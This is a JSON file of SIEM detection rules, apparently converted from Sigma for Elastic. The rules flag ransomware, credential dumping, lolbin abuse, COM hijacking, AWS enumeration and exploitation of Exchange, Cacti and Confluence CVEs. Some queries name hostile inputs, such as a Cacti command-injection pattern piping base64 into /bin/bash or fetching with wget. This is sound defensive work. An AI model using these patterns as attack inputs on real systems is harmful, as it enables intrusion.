{"description": "Detects possible ransomware adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\" etc.", "author": ["frack113"], "enabled": false, "false_positives": ["Backup software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8f15f776-dcea-04ea-bdd9-24a93a778a64", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Appended Extension", "query": "((SourceFilename:(*.lnk OR *.rtf OR *.pst OR *.docx OR *.xlsx OR *.jpg OR *.jpeg OR *.png OR *.pdf) AND file.path.text:(*.lnk.* OR *.rtf.* OR *.pst.* OR *.docx.* OR *.xlsx.* OR *.jpg.* OR *.jpeg.* OR *.png.* OR *.pdf.*)) AND (NOT (((file.path.text:(*.tmp OR *.bak OR *.old OR *.orig OR *.backup OR *.temp))) OR ((file.path.text:C\\:\\\\ProgramData\\\\Anaconda3\\\\* AND file.path.text:*.c\\~)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1486"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects possible SafetyKatz Behaviour", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e37e51ed-9e17-ffc9-53ee-2e342b58a18e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Detection of SafetyKatz", "query": "file.path:*\\\\Temp\\\\debug.bin", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", "enabled": false, "false_positives": ["Legitimate command-lines containing the string mentioned in the command-line"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "97f73012-443e-19a8-ba8f-83c0ec4f78e8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Office Token Search Via CLI", "query": "process.command_line.text:(*eyJ0eXAiOi* OR *\\ eyJ0eX* OR *\\ \\\"eyJ0eX\\\"* OR *\\ 'eyJ0eX'*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1528"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects Possible Squirrel Packages Manager as Lolbin", "enabled": false, "false_positives": ["1Clipboard", "Beaker Browser", "Caret", "Collectie", "Discord", "Figma", "Flow", "Ghost", "GitHub Desktop", "GitKraken", "Hyper", "Insomnia", "JIBO", "Kap", "Kitematic", "Now Desktop", "Postman", "PostmanCanary", "Rambox", "Simplenote", "Skype", "Slack", "SourceTree", "Stride", "Svgsus", "WebTorrent", "WhatsApp", "WordPress.com", "Atom", "Gitkraken", "Slack", "Teams"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aa261ed1-4577-8451-07d8-bf0f400b2435", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Squirrel Lolbin", "query": "((process.executable.text:*\\\\update.exe AND process.command_line.text:*.exe* AND process.command_line.text:(*\\-\\-processStart* OR *\\-\\-processStartAndWait* OR *\\-\\-createShortcut*)) AND (NOT ((process.command_line.text:*C\\:\\\\Users\\\\* AND process.command_line.text:*\\\\AppData\\\\Local\\\\Discord\\\\Update.exe* AND process.command_line.text:*\\ \\-\\-processStart* AND process.command_line.text:*Discord.exe*) OR (process.command_line.text:*C\\:\\\\Users\\\\* AND process.command_line.text:*\\\\AppData\\\\Local\\\\GitHubDesktop\\\\Update.exe* AND process.command_line.text:*GitHubDesktop.exe* AND process.command_line.text:(*\\-\\-createShortcut* OR *\\-\\-processStartAndWait*)) OR (process.command_line.text:*C\\:\\\\Users\\\\* AND process.command_line.text:*\\\\AppData\\\\Local\\\\Microsoft\\\\Teams\\\\Update.exe* AND process.command_line.text:*Teams.exe* AND process.command_line.text:(*\\-\\-processStart* OR *\\-\\-createShortcut*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Karneades / Markus Neis", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server\u2019s Unified Messaging service", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c0dc7f19-acba-4c62-0d63-26f80556ada2", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-26857 Exchange Exploitation", "query": "(process.parent.executable:*UMWorkerProcess.exe AND (NOT (process.executable:(*wermgr.exe OR *WerFault.exe))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for | creation of non-standard files on disk by Exchange Server\u2019s Unified Messaging service | which could indicate dropping web shells or other malicious content", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40835959-6959-524d-3c9d-a7d42427b46d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2021-26858 Exchange Exploitation", "query": "(process.executable.text:*UMWorkerProcess.exe AND (NOT (file.path.text:(*CacheCleanup.bin OR *.txt OR *.LOG OR *.cfg OR *cleanup.bin))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects possible suspicious glue development endpoint activity.", "author": ["Austin Songer @austinsonger"], "enabled": false, "false_positives": ["Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d1ddaa4f-8480-52e4-01fb-30ae37e093bf", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS Glue Development Endpoint Activity", "query": "(eventSource:\"glue.amazonaws.com\" AND eventName:(\"CreateDevEndpoint\" OR \"DeleteDevEndpoint\" OR \"UpdateDevEndpoint\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN", "enabled": false, "false_positives": ["Automation and orchestration scripts may use this method execute scripts etc"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6e137906-4ddf-752e-8767-4d629c99554c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WSL Execution", "query": "((process.executable:*\\\\wsl.exe OR winlog.event_data.OriginalFileName:\"wsl.exe\") AND process.command_line:(*\\ \\-e\\ * OR *\\ \\-\\-exec\\ * OR *\\ \\-\\-system\\ * OR *\\ \\/mnt\\/c*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Zach Stanford @svch0st", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d82a045f-4cda-6034-55d2-777a93417ab0", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Active Directory Replication from Non Machine Account", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4662\" AND winlog.event_data.AccessMask:\"0x100\" AND winlog.event_data.Properties:(*1131f6aa\\-9c07\\-11d1\\-f79f\\-00c04fc2dcd2* OR *1131f6ad\\-9c07\\-11d1\\-f79f\\-00c04fc2dcd2* OR *89e95b76\\-444d\\-4c62\\-991a\\-0facbeda640c*)) AND (NOT (winlog.event_data.SubjectUserName:*$ OR winlog.event_data.SubjectUserName:MSOL_*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects potential Active Directory enumeration via LDAP", "author": ["Adeem Mawani"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aa2eaf46-6503-d52d-fea3-5c807ea6723d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Active Directory Reconnaissance/Enumeration Via LDAP", "query": "((((winlog.event_id:\"30\" AND SearchFilter:(*\$groupType\\:1.2.840.113556.1.4.803\\:\\=2147483648\$* OR *\$groupType\\:1.2.840.113556.1.4.803\\:\\=2147483656\$* OR *\$groupType\\:1.2.840.113556.1.4.803\\:\\=2147483652\$* OR *\$groupType\\:1.2.840.113556.1.4.803\\:\\=2147483650\$* OR *\$sAMAccountType\\=805306369\$* OR *\$sAMAccountType\\=805306368\$* OR *\$sAMAccountType\\=536870913\$* OR *\$sAMAccountType\\=536870912\$* OR *\$sAMAccountType\\=268435457\$* OR *\$sAMAccountType\\=268435456\$* OR *\$objectCategory\\=groupPolicyContainer\$* OR *\$objectCategory\\=organizationalUnit\$* OR *\$objectCategory\\=Computer\$* OR *\$objectCategory\\=nTDSDSA\$* OR *\$objectCategory\\=server\$* OR *\$objectCategory\\=domain\$* OR *\$objectCategory\\=person\$* OR *\$objectCategory\\=group\$* OR *\$objectCategory\\=user\$* OR *\$objectClass\\=trustedDomain\$* OR *\$objectClass\\=computer\$* OR *\$objectClass\\=server\$* OR *\$objectClass\\=group\$* OR *\$objectClass\\=user\$* OR *\$primaryGroupID\\=521\$* OR *\$primaryGroupID\\=516\$* OR *\$primaryGroupID\\=515\$* OR *\$primaryGroupID\\=512\$* OR *Domain\\ Admins* OR *objectGUID\\=\\\\** OR *\$schemaIDGUID\\=\\\\*\$*)) AND (NOT (winlog.event_id:\"30\" AND SearchFilter:(*\$domainSid\\=\\*\$* OR *\$objectSid\\=\\*\$*))))) OR ((winlog.event_id:\"30\" AND SearchFilter:(*\$userAccountControl\\:1.2.840.113556.1.4.803\\:\\=4194304\$* OR *\$userAccountControl\\:1.2.840.113556.1.4.803\\:\\=2097152\$* OR *\\!\$userAccountControl\\:1.2.840.113556.1.4.803\\:\\=1048574\$* OR *\$userAccountControl\\:1.2.840.113556.1.4.803\\:\\=524288\$* OR *\$userAccountControl\\:1.2.840.113556.1.4.803\\:\\=65536\$* OR *\$userAccountControl\\:1.2.840.113556.1.4.803\\:\\=8192\$* OR *\$userAccountControl\\:1.2.840.113556.1.4.803\\:\\=544\$* OR *\\!\$UserAccountControl\\:1.2.840.113556.1.4.803\\:\\=2\$* OR *msDS\\-AllowedToActOnBehalfOfOtherIdentity* OR *msDS\\-AllowedToDelegateTo* OR *msDS\\-GroupManagedServiceAccount* OR *\$accountExpires\\=9223372036854775807\$* OR *\$accountExpires\\=0\$* OR *\$adminCount\\=1\$* OR *ms\\-MCS\\-AdmPwd*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1069", "T1087", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential COM object hijacking leveraging the COM Search Order", "author": ["Maxime Thiebaut (@0xThiebaut)", "oscd.community", "C\u00e9dric Hien"], "enabled": false, "false_positives": ["Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0f0906ae-2c16-bebd-94e4-134fe3fe2e5a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Persistence Via COM Search Order Hijacking", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(HKCR\\\\CLSID\\\\* OR HKCU\\\\Software\\\\Classes\\\\CLSID\\\\*) AND winlog.event_data.TargetObject:*\\\\InprocServer32\\\\\$Default\$) AND (NOT ((winlog.event_data.Details:(*%%systemroot%%\\\\system32\\\\* OR *%%systemroot%%\\\\SysWow64\\\\*)) OR (winlog.event_data.Details:(*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\* OR *\\\\FileCoAuthLib64.dll* OR *\\\\FileSyncShell64.dll* OR *\\\\FileSyncApi64.dll*)) OR (process.executable.text:\"C:\\WINDOWS\\system32\\SecurityHealthService.exe\") OR (winlog.event_data.Details:*\\\\AppData\\\\Local\\\\Microsoft\\\\TeamsMeetingAddin\\\\* AND winlog.event_data.Details:*\\\\Microsoft.Teams.AddinLoader.dll*) OR (winlog.event_data.Details:*\\\\AppData\\\\Roaming\\\\Dropbox\\\\* AND winlog.event_data.Details:*\\\\DropboxExt64.\\*.dll*) OR (winlog.event_data.Details:*TmopIEPlg.dll) OR (process.executable.text:(\"C:\\WINDOWS\\system32\\wuauclt.exe\" OR \"C:\\WINDOWS\\system32\\svchost.exe\")) OR ((process.executable.text:(C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* OR C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\*) AND process.executable.text:*\\\\MsMpEng.exe)) OR (winlog.event_data.Details:*\\\\FileRepository\\\\nvmdi.inf*) OR (process.executable.text:*\\\\MicrosoftEdgeUpdateComRegisterShell64.exe) OR (process.executable.text:\"C:\\WINDOWS\\SYSTEM32\\dxdiag.exe\") OR (winlog.event_data.Details:(\"C:\\Windows\\pyshellext.amd64.dll\" OR \"C:\\Windows\\pyshellext.dll\")) OR (winlog.event_data.Details:(\"C:\\Windows\\system32\\dnssdX.dll\" OR \"C:\\Windows\\SysWOW64\\dnssdX.dll\")) OR (winlog.event_data.Details:\"C:\\Windows\\system32\\spool\\drivers\\x64\\3\\PrintConfig.dll\") OR (winlog.event_data.Details:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (winlog.event_data.Details:C\\:\\\\ProgramData\\\\Microsoft\\\\*) OR (winlog.event_data.Details:*C\\:\\\\WINDOWS\\\\system32\\\\GamingServicesProxy.dll*) OR ((process.executable.text:\"C:\\Windows\\System32\\poqexec.exe\" AND winlog.event_data.Details:*C\\:\\\\Windows\\\\System32\\\\Autopilot.dll*)) OR ((process.executable.text:\"C:\\Windows\\system32\\SecurityHealthService.exe\" AND winlog.event_data.Details:*C\\:\\\\Windows\\\\System32\\\\SecurityHealth*)) OR ((process.executable.text:(\"C:\\Windows\\System32\\poqexec.exe\" OR \"C:\\Windows\\System32\\regsvr32.exe\") AND winlog.event_data.TargetObject:*\\\\InProcServer32\\\\\$Default\$)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a supsicious or unsuale location", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Probable legitimate applications. If you find these please add them to an exclusion list"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6b0aac9d-eaa9-9583-7091-6243f6dbd9d3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via COM Hijacking From Suspicious Locations", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(HKCR\\\\CLSID\\\\* OR HKEY_CLASSES_ROOT\\\\CLSID\\\\* OR HKCU\\\\Software\\\\Classes\\\\CLSID\\\\* OR HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\CLSID\\\\*) AND winlog.event_data.TargetObject:(*\\\\InprocServer32\\\\\$Default\$ OR *\\\\LocalServer32\\\\\$Default\$) AND winlog.event_data.Details:(*\\\\Users\\\\Public\\\\* OR *\\\\Desktop\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Downloads\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup\\\\* OR *\\\\System32\\\\spool\\\\drivers\\\\color\\\\* OR *%temp%* OR *%tmp%* OR *%appdata%*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [" (idea)"], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class over the network", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Open Threat Research (OTR)", "wagga"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f00dd8cb-7312-59f0-4321-b6767c4c5e9f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Potential DCOM InternetExplorer.Application DLL Hijack", "query": "(process.executable.text:\"System\" AND file.path.text:*\\\\Internet\\ Explorer\\\\iertutil.dll)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Open Threat Research (OTR)", "wagga"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "09e789a4-a4eb-557b-9265-c2fcca5a1fd9", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Potential DCOM InternetExplorer.Application DLL Hijack - Image Load", "query": "(process.executable.text:*\\\\Internet\\ Explorer\\\\iexplore.exe AND dll.path:*\\\\Internet\\ Explorer\\\\iertutil.dll)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential DLL injection and execution using \"Tracker.exe\"", "author": ["Avneet Singh @v3t0_", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c48f579e-a996-927f-0be6-30e8952a9607", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential DLL Injection Or Execution Using Tracker.exe", "query": "((((process.executable.text:*\\\\tracker.exe) OR (winlog.event_data.Description:\"Tracker\")) AND process.command_line.text:(*\\ \\/d\\ * OR *\\ \\/c\\ *)) AND (NOT ((process.command_line.text:*\\ \\/ERRORREPORT\\:PROMPT\\ *) OR (process.parent.executable.text:(*\\\\Msbuild\\\\Current\\\\Bin\\\\MSBuild.exe OR *\\\\Msbuild\\\\Current\\\\Bin\\\\amd64\\\\MSBuild.exe)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential DLL sideloading using comctl32.dll to obtain system privileges", "author": ["Nasreddine Bencherchali", "Subhash Popuri (@pbssubhash)"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "12a2d257-7dcb-c6da-b5b6-273359d44359", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential DLL Sideloading Via comctl32.dll", "query": "(dll.path:(C\\:\\\\Windows\\\\System32\\\\logonUI.exe.local\\\\* OR C\\:\\\\Windows\\\\System32\\\\werFault.exe.local\\\\* OR C\\:\\\\Windows\\\\System32\\\\consent.exe.local\\\\* OR C\\:\\\\Windows\\\\System32\\\\narrator.exe.local\\\\* OR C\\:\\\\windows\\\\system32\\\\wermgr.exe.local\\\\*) AND dll.path:*\\\\comctl32.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential enumeration activity targeting an AWS instance backups", "author": ["Janantha Marasinghe"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "97c414da-e616-4a51-ca3a-a5c64527cd86", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Backup Enumeration on AWS", "query": "(eventSource:\"ec2.amazonaws.com\" AND eventName:(\"GetPasswordData\" OR \"GetEbsEncryptionByDefault\" OR \"GetEbsDefaultKmsKeyId\" OR \"GetBucketReplication\" OR \"DescribeVolumes\" OR \"DescribeVolumesModifications\" OR \"DescribeSnapshotAttribute\" OR \"DescribeSnapshotTierStatus\" OR \"DescribeImages\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1580"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1580", "name": "Cloud Infrastructure Discovery", "reference": ""}]}], "version": 1, "threshold": {"field": [], "value": 6}, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential enumeration activity targeting AWS storage", "author": ["Janantha Marasinghe"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5163f2c3-711b-5f90-1eca-191a12bd582a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Storage Enumeration on AWS", "query": "(eventSource:\"s3.amazonaws.com\" AND eventName:(\"ListBuckets\" OR \"GetBucketCors\" OR \"GetBucketInventoryConfiguration\" OR \"GetBucketPublicAccessBlock\" OR \"GetBucketMetricsConfiguration\" OR \"GetBucketPolicy\" OR \"GetBucketTagging\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1619"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1619", "name": "Cloud Storage Object Discovery", "reference": ""}]}], "version": 1, "threshold": {"field": [], "value": 6}, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Web vulnerability scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "3d66a6e3-0573-bdcb-4e81-4235cd63e0d7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential CVE-2022-46169 Exploitation Attempt", "query": "(http.request.method:\"GET\" AND cs-uri-query:*\\/remote_agent.php* AND cs-uri-query:*action\\=polldata* AND cs-uri-query:*poller_id\\=* AND cs-uri-query:(*|\\ base64\\ \\-d\\ |\\ \\/bin\\/bash`* OR *%7C%20base64%20\\-d%20%7C%20%2Fbin%2Fbash%60* OR *`whoami* OR *powershell* OR *cmd* OR *wget*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection", "author": ["Sittikorn S", "Nuttakorn T"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "3aa6e8d5-24ad-38be-4919-80b28c3f635c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential CVE-2021-26084 Exploitation Attempt", "query": "((http.request.method:\"POST\" AND http.response.status_code:\"200\" AND cs-username:\"anonymous\") AND (((cs-uri-query:*\\/pages\\/createpage\\-entervariables.action* AND cs-uri-query:*SpaceKey\\=x*)) OR ((cs-uri-query:*\\/doenterpagevariables.action* AND \"u0027\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
